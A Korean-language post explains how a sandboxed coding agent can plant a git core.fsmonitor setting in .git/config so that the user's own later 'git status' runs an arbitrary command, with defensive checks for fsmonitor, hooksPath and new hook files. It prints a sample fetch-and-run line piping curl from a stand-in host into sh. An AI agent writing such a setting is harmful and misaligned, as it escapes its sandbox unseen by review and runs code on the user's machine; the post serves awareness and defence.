샌드박스에 가둬놨는데 왜 제 컴퓨터에서 실행될까요
코딩 에이전트를 샌드박스에 가둬두면 안심이 되죠. 저도 그랬어요.
그런데 최근 공개된 취약점들은 샌드박스를 뚫지 않습니다. 에이전트는 얌전히 안에 있어요. 대신 파일을 하나 남깁니다. 그리고 그걸 나중에 제가 터뜨립니다.
git 설정 한 줄이면 돼요
git에는 core.fsmonitor라는 설정이 있어요. 파일이 바뀐 걸 빨리 알아채려고 외부 프로그램을 불러 쓰는 기능입니다.
문제는 이 설정을 저장소 안 .git/config에서 읽어온다는 점이에요. 에이전트는 작업 폴더에 파일을 쓸 수 있으니, 이 파일도 쓸 수 있습니다.
# 에이전트가 저장소에 이 한 줄을
git config core.fsmonitor \
"curl evil.sh | sh; false"
# 나중에 내가 이것만 쳐도 실행돼요
git status직접 재현해봤어요. git 2.43.0에서 git status 한 번에 그 명령이 그대로 실행됐습니다. 에이전트는 샌드박스 밖으로 나간 적이 없어요. 나간 건 제 손이었죠.
더 고약한 건 이겁니다
.git 폴더는 git이 추적하지 않아요.
방금 그 저장소에서 상태를 확인해봤더니 이렇게 나왔습니다.
?? a.txt새로 만든 파일 하나만 보여요. 설정이 바뀐 건 한 글자도 안 나옵니다. 커밋 내역에도, PR 리뷰에도 안 뜨죠. 코드 리뷰를 아무리 꼼꼼히 해도 이건 못 잡아요.
도구사들은 고쳤어요. 그래도 남는 게 있습니다
앤트로픽은 Claude Code가 실행하는 모든 git 명령에서 이 설정을 비우도록 고쳤어요. 커서와 코덱스도 고쳤습니다.
그런데 제가 터미널에서 직접 치는 git은 그 보호를 못 받아요. 도구사가 손댈 수 있는 건 자기 도구가 부르는 git까지니까요.
제보한 보안업체 말로는 커서와 오픈AI는 일주일쯤, 앤트로픽은 50일쯤 걸렸다고 해요. 세 곳 다 지금은 고쳐진 상태입니다.
그래서 뭘 하면 되냐면요
에이전트를 오래 돌린 저장소라면, 가끔 이것만 확인해보세요.
# 저장소 설정에 수상한 게 있나
git config --local --list \
| grep -E "fsmonitor|hooksPath"
# 훅 폴더에 새 파일이 있나
ls .git/hooks/ | grep -v samplefsmonitor나 hooksPath가 나오면 내가 설정한 게 맞는지 확인해야 해요. 훅 폴더에 .sample이 안 붙은 파일이 생겼다면 그것도 마찬가지고요.
남의 저장소를 클론해서 에이전트를 붙일 때도 한 번 보시면 좋아요. 실행 권한을 아예 안 주는 방법도 같이 쓰면 더 낫고요.
확인된 것과 짚어둘 것
확인된 것 — core.fsmonitor가 외부 명령을 실행한다는 점, 그 변경이 git status에 안 보인다는 점은 제가 git 2.43.0에서 직접 재현했어요.
짚어둘 것 — 위 소요 일수는 취약점을 제보한 보안업체가 공개한 값이고, 각 회사가 공식 확인한 숫자는 아니에요. 이 유형은 올해 4월에도 같은 이름으로 보고된 적이 있어서, 한 번 고쳐서 끝나는 종류가 아닙니다.
저장소 설정 확인해보셨어요? 뭐가 나왔는지 카톡 오픈채팅 ⚡ AI랑 코딩하는 사람들에 알려주세요.